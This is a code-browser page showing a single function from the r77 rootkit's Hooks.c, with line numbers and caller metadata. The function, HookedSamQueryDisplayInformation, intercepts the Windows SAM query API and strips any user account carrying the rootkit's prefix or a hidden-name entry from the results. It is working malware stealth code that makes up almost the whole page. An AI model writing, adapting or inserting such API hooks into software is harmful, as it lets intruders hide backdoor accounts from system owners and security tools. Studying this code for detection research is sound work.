MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / HookedSamQueryDisplayInformation

Function HookedSamQueryDisplayInformation

r77/Hooks.c:818–839  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

816 return status;
817}
818static NTSTATUS NTAPI HookedSamQueryDisplayInformation(HANDLE domainHandle, NT_DOMAIN_DISPLAY_INFORMATION displayInformation, ULONG index, ULONG entryCount, ULONG preferredMaximumLength, PULONG totalAvailable, PULONG totalReturned, PULONG returnedEntryCount, LPVOID *sortedBuffer)
819{
820 NTSTATUS status = OriginalSamQueryDisplayInformation(domainHandle, displayInformation, index, entryCount, preferredMaximumLength, totalAvailable, totalReturned, returnedEntryCount, sortedBuffer);
821
822 if (NT_SUCCESS(status) && sortedBuffer && *sortedBuffer && returnedEntryCount && displayInformation == DomainDisplayUser)
823 {
824 PNT_SAMPR_DISPLAY_USER users = (PNT_SAMPR_DISPLAY_USER)*sortedBuffer;
825 for (ULONG i = 0; i < *returnedEntryCount; i++)
826 {
827 users[i].AccountName.Buffer[users[i].AccountName.Length / sizeof(WCHAR)] = L'\0';
828
829 if (HasPrefix(users[i].AccountName.Buffer) || IsUserNameHidden(users[i].AccountName.Buffer))
830 {
831 memmove(&users[i], &users[i + 1], (*returnedEntryCount - i - 1) * sizeof(NT_SAMPR_DISPLAY_USER));
832 (*returnedEntryCount)--;
833 i--;
834 }
835 }
836 }
837
838 return status;
839}
840static PDH_STATUS WINAPI HookedPdhGetRawCounterArrayW(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_RAW_COUNTER_ITEM_W itemBuffer)
841{
842 PDH_STATUS status = OriginalPdhGetRawCounterArrayW(counter, bufferSize, itemCount, itemBuffer);

Callers

nothing calls this directly

Calls 2

HasPrefixFunction · 0.85
IsUserNameHiddenFunction · 0.85

Tested by

no test coverage detected